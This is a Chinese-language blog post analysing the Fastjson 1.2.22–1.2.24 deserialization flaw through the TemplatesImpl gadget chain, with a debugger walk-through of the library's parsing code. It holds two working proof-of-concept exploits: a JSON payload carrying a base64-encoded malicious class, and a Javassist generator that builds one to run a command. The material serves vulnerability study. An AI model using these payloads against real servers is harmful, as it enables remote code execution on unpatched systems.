Java安全之Fastjson反序列化漏洞分析

2022-10-06 16:21:19

Java安全之Fastjson反序列化漏洞分析

首发：先知论坛

0x00 前言

在前面的RMI和JNDI注入学习里面为本次的Fastjson打了一个比较好的基础。利于后面的漏洞分析。

0x01 Fastjson使用

在分析漏洞前，还需要学习一些Fastjson库的简单使用。

Fastjson概述

FastJson是啊里巴巴的的开源库，用于对JSON格式的数据进行解析和打包。其实简单的来说就是处理json格式的数据的。例如将json转换成一个类。或者是将一个类转换成一段json数据。在我前面的学习系列文章中其实有用到jackson。其作用和Fastjson差不多，都是处理json数据。可参考该篇文章:Java学习之jackson篇。其实在jackson里面也是存在反序列化漏洞的，这个后面去分析，这里不做赘述。

Fastjson使用

使用方式：

//序列化

String text = JSON.toJSONString(obj);

//反序列化

VO vo = JSON.parse(); //解析为JSONObject类型或者JSONArray类型

VO vo = JSON.parseObject("{...}"); //JSON文本解析成JSONObject类型

VO vo = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class类

Fastjson序列化

代码实例：

定义一个实体类

package com.fastjson.demo;

public class User {

    private String name;

    private int age;

    public User() {

    }

    @Override

    public String toString() {

        return "User{" +

                "name='" + name + '\'' +

                ", age=" + age +

                '}';

    }

    public String getName() {

        return name;

    }

    public void setName(String name) {

        this.name = name;

    }

    public int getAge() {

        return age;

    }

    public void setAge(int age) {

        this.age = age;

    }

    public User(String name, int age) {

        this.name = name;

        this.age = age;

    }

}

定义一个test类：

package com.fastjson.demo;

import com.alibaba.fastjson.JSON;

public class test {

    public static void main(String[] args) {

        User user = new User();

        user.setAge(18);

        user.setName("xiaoming");

        String s = JSON.toJSONString(user);

        System.out.println(s);

    }

}

运行后结果为：

{"age":18,"name":"xiaoming"}

这是一段标准模式下的序列化成JSON的代码，下面来看另一段。

package com.fastjson.demo;

import com.alibaba.fastjson.JSON;

import com.alibaba.fastjson.serializer.SerializerFeature;

public class test {

    public static void main(String[] args) {

        User user = new User();

        user.setAge(18);

        user.setName("xiaoming");

//        String s = JSON.toJSONString(user);

//        System.out.println(s);

        String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);

        System.out.println(s1);

    }

}

执行结果：

{"@type":"com.fastjson.demo.User","age":18,"name":"xiaoming"}

在和前面代码做对比后，可以发现其实就是在调用toJSONString方法的时候，参数里面多了一个SerializerFeature.WriteClassName方法。传入SerializerFeature.WriteClassName可以使得Fastjson支持自省，开启自省后序列化成JSON的数据就会多一个@type，这个是代表对象类型的JSON文本。FastJson的漏洞就是他的这一个功能去产生的，在对该JSON数据进行反序列化的时候，会去调用指定类中对于的get/set/is方法， 后面会详细分析。

Fastjson反序列化

代码实例：

方式一：

package com.fastjson.demo;

import com.alibaba.fastjson.JSON;

import com.alibaba.fastjson.serializer.SerializerFeature;

public class test {

    public static void main(String[] args) {

        User user = new User();

        user.setAge(18);

        user.setName("xiaoming");

        String s = JSON.toJSONString(user);

//        System.out.println(s);

        User user1 = JSON.parseObject(s, User.class);

        System.out.println(user1);

    }

}

方式二：

package com.fastjson.demo;

import com.alibaba.fastjson.JSON;

import com.alibaba.fastjson.JSONObject;

import com.alibaba.fastjson.serializer.SerializerFeature;

public class test {

    public static void main(String[] args) {

        User user = new User();

        user.setAge(18);

        user.setName("xiaoming");

        String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);

        JSONObject jsonObject = JSON.parseObject(s1);

        System.out.println(jsonObject);

    }

}

这种方式返回的是一个JSONObject的对象

方式三：

package com.fastjson.demo;

import com.alibaba.fastjson.JSON;

import com.alibaba.fastjson.serializer.SerializerFeature;

public class test {

    public static void main(String[] args) {

        User user = new User();

        user.setAge(18);

        user.setName("xiaoming");

        String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);

        User user1 = JSON.parseObject(s1,User.class);

        System.out.println(user1);

    }

}

执行结果都是一样的

User{name='xiaoming', age=18}

这三段代码中，可以发现用了JSON.parseObject和 JSON.parse这两个方法，JSON.parseObject方法中没指定对象，返回的则是JSONObject的对象。JSON.parseObject和 JSON.parse这两个方法差不多，JSON.parseObject的底层调用的还是JSON.parse方法，只是在JSON.parse的基础上做了一个封装。

在序列化时，FastJson会调用成员对应的get方法，被private修饰且没有get方法的成员不会被序列化，

而反序列化的时候在，会调用了指定类的全部的setter，publibc修饰的成员全部赋值。可以在实体类的get、set方法中加入打印内容，可自行测试一下。

0x02 Fastjson反序列化漏洞复现

漏洞是利用fastjson autotype在处理json对象的时候，未对@type字段进行完全的安全性验证，攻击者可以传入危险类，并调用危险类连接远程rmi主机，通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用，获取服务器的敏感信息泄露，甚至可以利用此漏洞进一步对服务器数据进行修改，增加，删除等操作，对服务器造成巨大的影响。

漏洞攻击方式

在Fastjson这个反序列化漏洞中是使用TemplatesImpl和JdbcRowSetImpl构造恶意代码实现命令执行，TemplatesImpl这个类，想必前面调试过这么多链后，对该类也是比较熟悉。他的内部使用的是类加载器，去进行new一个对象，这时候定义的恶意代码在静态代码块中，就会被执行。再来说说后者JdbcRowSetImpl是需要利用到前面学习的JNDI注入来实现攻击的。

漏洞复现

漏洞版本：fastjson 1.22-1.24

利用链：TemplatesImpl

这里做一个简单的demo

构造恶意类：

package nice0e3;

import com.alibaba.fastjson.JSON;

import com.alibaba.fastjson.parser.Feature;

import com.alibaba.fastjson.parser.ParserConfig;

public class fj_poc {

    public static void main(String[] args) {

        ParserConfig config = new ParserConfig();

        String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";

        Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);

    }

}

Java安全之Fastjson反序列化漏洞分析

执行成功，_bytecodes对应的数据里面可以看到是Base64编码的数据，这数据其实是下面这段代码，编译后进行base64加密后的数据。

import com.sun.org.apache.xalan.internal.xsltc.DOM;

import com.sun.org.apache.xalan.internal.xsltc.TransletException;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;

import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Test extends AbstractTranslet {

    public Test() throws IOException {

        Runtime.getRuntime().exec("calc");

    }

    @Override

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {

    }

    @Override

    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {

    }

    public static void main(String[] args) throws Exception {

        Test t = new Test();

    }

}

但是在使用运用中个人觉得更倾向于这个poc

package com.nice0e3;

import com.alibaba.fastjson.JSON;

import com.alibaba.fastjson.parser.Feature;

import com.alibaba.fastjson.parser.ParserConfig;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import javassist.ClassPool;

import javassist.CtClass;

import org.apache.commons.net.util.Base64;

public class gadget {

        public static class test{

        }

        public static void main(String[] args) throws Exception {

            ClassPool pool = ClassPool.getDefault();

            CtClass cc = pool.get(test.class.getName());

            String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";

            cc.makeClassInitializer().insertBefore(cmd);

            String randomClassName = "nice0e3"+System.nanoTime();

            cc.setName(randomClassName);

            cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));

            try {

                byte[] evilCode = cc.toBytecode();

                String evilCode_base64 = Base64.encodeBase64String(evilCode);

                final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

                String text1 = "{"+

                        "\"@type\":\"" + NASTY_CLASS +"\","+

                        "\"_bytecodes\":[\""+evilCode_base64+"\"],"+

                        "'_name':'a.b',"+

                        "'_tfactory':{ },"+

                        "'_outputProperties':{ }"+

                        "}\n";

                System.out.println(text1);

                ParserConfig config = new ParserConfig();

                Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);

            } catch (Exception e) {

                e.printStackTrace();

            }

        }

}

使用Javassist动态生成恶意类放到_bytecodes中。这里发现几个问题，

  1. 如果是只对_bytecodes插入恶意代码为什么需要构造这么多的值。
  2. _bytecodes中的值为什么需要进行Base64加密。
  3. 在反序列化的时候为什么要加入Feature.SupportNonPublicField参数值。

  • @type ：用于存放反序列化时的目标类型，这里指定的是TemplatesImpl这个类，Fastjson会按照这个类反序列化得到实例，因为调用了getOutputProperties方法，实例化了传入的bytecodes类，导致命令执行。需要注意的是，Fastjson默认只会反序列化public修饰的属性，outputProperties和_bytecodes由private修饰，必须加入Feature.SupportNonPublicField 在parseObject中才能触发；

  • _bytecodes：继承AbstractTranslet 类的恶意类字节码，并且使用Base64编码

  • _name：调用getTransletInstance 时会判断其是否为null，为null直接return，不会往下进行执行，利用链就断了，可参考cc2和cc4链。

  • _tfactory：defineTransletClasses 中会调用其getExternalExtensionsMap 方法，为null会出现异常,但在前面分析jdk7u21链的时候，部分jdk并未发现该方法。

  • outputProperties：漏洞利用时的关键参数，由于Fastjson反序列化过程中会调用其getOutputProperties 方法，导致bytecodes字节码成功实例化，造成命令执行。

前面说到的之所以加入Feature.SupportNonPublicField才能触发是因为Feature.SupportNonPublicField的作用是支持反序列化使用非public修饰符保护的属性，在Fastjson中序列化private属性。

来查看一下TemplatesImpl。

Java安全之Fastjson反序列化漏洞分析

这里可以看到这几个成员变量都是private进行修饰的。不使用Feature.SupportNonPublicField参数则无法反序列化成功，无法进行利用。

由此可见Fastjson中使用TemplatesImpl链的条件比较苛刻，因为在Fastjson中需要加入Feature.SupportNonPublicField，而这种方式并不多见。

0x03 Fastjson TemplatesImpl链 反序列化漏洞分析

下断点开始跟踪漏洞

public static <T> T parseObject(String input, Type clazz, ParserConfig config, Feature... features) {

        return parseObject(input, clazz, config, (ParseProcess)null, DEFAULT_PARSER_FEATURE, features);

    }

这里有几个参数传入，并直接调用了parseObject的重载方法。

几个参数分别是input、clazz、config、features。

input传递进来的是需要反序列化的数据，这里即是我们的payload数据。

clazz为指定的对象，这里是Object.class对象

config则是ParserConfig的实例对象

features参数为反序列化反序列化private属性所用到的一个参数。

Java安全之Fastjson反序列化漏洞分析

实例化了一个DefaultJSONParser，并调用parseObject方法，跟踪parseObject。

Java安全之Fastjson反序列化漏洞分析

调用derializer.deserialze方法进行跟踪。

Java安全之Fastjson反序列化漏洞分析

来看到这一段代码，这里是个三目运算，type是否为Class对象并且type不等于 Object.class，type不等于

Serializable.class条件为true调用parser.parseObject,条件为flase调用parser.parse。很显然这里会调用parser.parse方法。继续跟踪。

Java安全之Fastjson反序列化漏洞分析

这里将this.lexer的值，赋值给lexer，而这个this.lexer是在实例化DefaultJSONParser 对象的时候被赋值的。回看我们代码中的DefaultJSONParser 被创建的时候。

public DefaultJSONParser(String input, ParserConfig config, int features) {

    this(input, new JSONScanner(input, features), config);

}

调用重载方法

public DefaultJSONParser(Object input, JSONLexer lexer, ParserConfig config) {

    this.dateFormatPattern = JSON.DEFFAULT_DATE_FORMAT;

    this.contextArrayIndex = 0;

    this.resolveStatus = 0;

    this.extraTypeProviders = null;

    this.extraProcessors = null;

    this.fieldTypeResolver = null;

    this.lexer = lexer;

    this.input = input;

    this.config = config;

    this.symbolTable = config.symbolTable;

    int ch = lexer.getCurrent();

    if (ch == '{') {

        lexer.next();

        ((JSONLexerBase)lexer).token = 12;

    } else if (ch == '[') {

        lexer.next();

        ((JSONLexerBase)lexer).token = 14;

    } else {

        lexer.nextToken();

    }

}

这里面去调用 lexer.getCurrent()跟踪代码发现就是从lexer返回ch的值。而下面的这段代码

int ch = lexer.getCurrent();

    if (ch == '{') {

        lexer.next();

        ((JSONLexerBase)lexer).token = 12;

    } else if (ch == '[') {

        lexer.next();

        ((JSONLexerBase)lexer).token = 14;

    } else {

        lexer.nextToken();

    }

调用lexer.getCurrent()，获取到是ch中数据如果为{就将lexer.token设置为12，如果为[设置 lexer.token设置为14。

调用lexer.getCurrent()，获取当前字符这里获取到的是双引号。lexer这个是JSONScanner实例化对象，里面存储了前面传入的Json数据，但是这里疑问又来了，既然是Json的数据，那么前面的{去哪了呢？为什么这里获取到的不是这个{花括号。

还记得我们前面加载DefaultJSONParser重载方法的时候new JSONScanner(),跟踪查看他的构造方法就知道了

public JSONScanner(String input, int features) {

        super(features);

        this.text = input;

        this.len = this.text.length();

        this.bp = -1;

        this.next();

        if (this.ch == '\ufeff') {

            this.next();

        }

    }

构造方法里面调用了this.next();

public final char next() {

        int index = ++this.bp;

        return this.ch = index >= this.len ? '\u001a' : this.text.charAt(index);

    }

返回com.alibaba.fastjson.parser.DefaultJSONParser#parse进行跟踪代码。

public Object parse(Object fieldName) {

        JSONLexer lexer = this.lexer;

        switch(lexer.token()) {

        case 1:

        case 5:

        case 10:

        case 11:

        case 13:

        case 15:

        case 16:

        case 17:

        case 18:

        case 19:

        ...

        case 12:

        JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));

        return this.parseObject((Map)object, fieldName);

通过刚刚的分析得知这里的lexer.token()等于12会走到 case 12:这里

Java安全之Fastjson反序列化漏洞分析

调用this.parseObject继续跟踪

Java安全之Fastjson反序列化漏洞分析

这里可以看到获取下一个字符是否为双引号，而后去调用lexer.scanSymbol方法进行提取对应内容数据。

查看一下参数this.symbolTable。

Java安全之Fastjson反序列化漏洞分析

Java安全之Fastjson反序列化漏洞分析

这里则是提取了@type

Java安全之Fastjson反序列化漏洞分析

接着走到这个地方

if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {

    ref = lexer.scanSymbol(this.symbolTable, '"');

    Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());

判断key是否等于@type,等于则获取@type中的值，接着则是调用反射将这个类名传递进去获取一个方法获取类对象。

下面走到这段代码

 ObjectDeserializer deserializer = this.config.getDeserializer(clazz);

 thisObj = deserializer.deserialze(this, clazz, fieldName);

跟踪，加载两次重载来到这里

Java安全之Fastjson反序列化漏洞分析

上面的代码中直接就获取到了outputProperties跟踪一下，sortedFieldDeserializers.fieldInfo是怎么被赋值的。

查看发现是在构造方法被赋值的，也就是实例化对象的时候

public JavaBeanDeserializer(ParserConfig config, JavaBeanInfo beanInfo) {

    this.clazz = beanInfo.clazz;

    this.beanInfo = beanInfo;

    this.sortedFieldDeserializers = new FieldDeserializer[beanInfo.sortedFields.length];

    int i = 0;

    int size;

    FieldInfo fieldInfo;

    FieldDeserializer fieldDeserializer;

    for(size = beanInfo.sortedFields.length; i < size; ++i) {

        fieldInfo = beanInfo.sortedFields[i];

        fieldDeserializer = config.createFieldDeserializer(config, beanInfo, fieldInfo);

        this.sortedFieldDeserializers[i] = fieldDeserializer;

    }

返回上层，JavaBeanDeserializer是在this.config.getDeserializer被创建的，跟进一下

Java安全之Fastjson反序列化漏洞分析

return this.getDeserializer((Class)type, type);
derializer = this.createJavaBeanDeserializer(clazz, (Type)type);
beanInfo = JavaBeanInfo.build(clazz, type, this.propertyNamingStrategy);
boolean match = this.parseField(parser, key, object, type, fieldValues);

接着来到了com.alibaba.fastjson.util.JavaBeanInfo#build

下面有几个关键代码

Java安全之Fastjson反序列化漏洞分析

Java安全之Fastjson反序列化漏洞分析

在通过@type获取类之后，通过反射拿到该类所有的方法存入methods，接下来遍历methods进而获取get、set方法

set的查找方式：

  1. 方法名长度大于4
  2. 非静态方法
  3. 返回值为void或当前类
  4. 方法名以set开头
  5. 参数个数为1

get的查找方式：

  1. 方法名长度大于等于4
  2. 非静态方法
  3. 以get开头且第4个字母为大写
  4. 无传入参数
  5. 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

这样一来就获取到了TemplatesImpl的getOutputProperties()

Java安全之Fastjson反序列化漏洞分析

Java安全之Fastjson反序列化漏洞分析

返回com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze继续调试跟踪

前面都是重复的内容，遍历去获取json中的内容。

Java安全之Fastjson反序列化漏洞分析

直接定位到这一步进行跟踪

Java安全之Fastjson反序列化漏洞分析

Java安全之Fastjson反序列化漏洞分析

Java安全之Fastjson反序列化漏洞分析

替换_字符为空

执行完成后回到 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer# parseField来到这一步

Java安全之Fastjson反序列化漏洞分析

Java安全之Fastjson反序列化漏洞分析

进行反射调用执行TemplatesImpl的getOutputProperties()方法。

接着则来到了这里

Java安全之Fastjson反序列化漏洞分析

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,

    _indentNumber, _tfactory);

到了这里其实也就不用跟了，和前面的JDK7u21后半段的链是一样的。

Java安全之Fastjson反序列化漏洞分析

Java安全之Fastjson反序列化漏洞分析

在这命令就执行成功了，但是我们还有一个遗留下来的问题没有解答，就是_bytecodes为什么需要进行base64编码的问题，也是分析的时候跟踪漏了。

返回com.alibaba.fastjson.parser.DefaultJSONParser#parseObject查看

Java安全之Fastjson反序列化漏洞分析

在解析byte数据的时候回去调用this.lexer.bytesValue();,跟踪就会看见会调用IOUtils.decodeBase64进行base64解密

Java安全之Fastjson反序列化漏洞分析

贴出调用链

Java安全之Fastjson反序列化漏洞分析

0x04 结尾

看到网上部分分析文章，分析漏洞只分析了几个点。直接就在某个地方下断点，然后跳到某一个关键位置的点进行分析，很多数据的流向都不清楚是怎么来的。所以漏洞的一些细节都没去进行了解过，所以漏洞真的分析清楚了嘛？

上一篇：ListTile


下一篇：Java安全之Shiro 550反序列化漏洞分析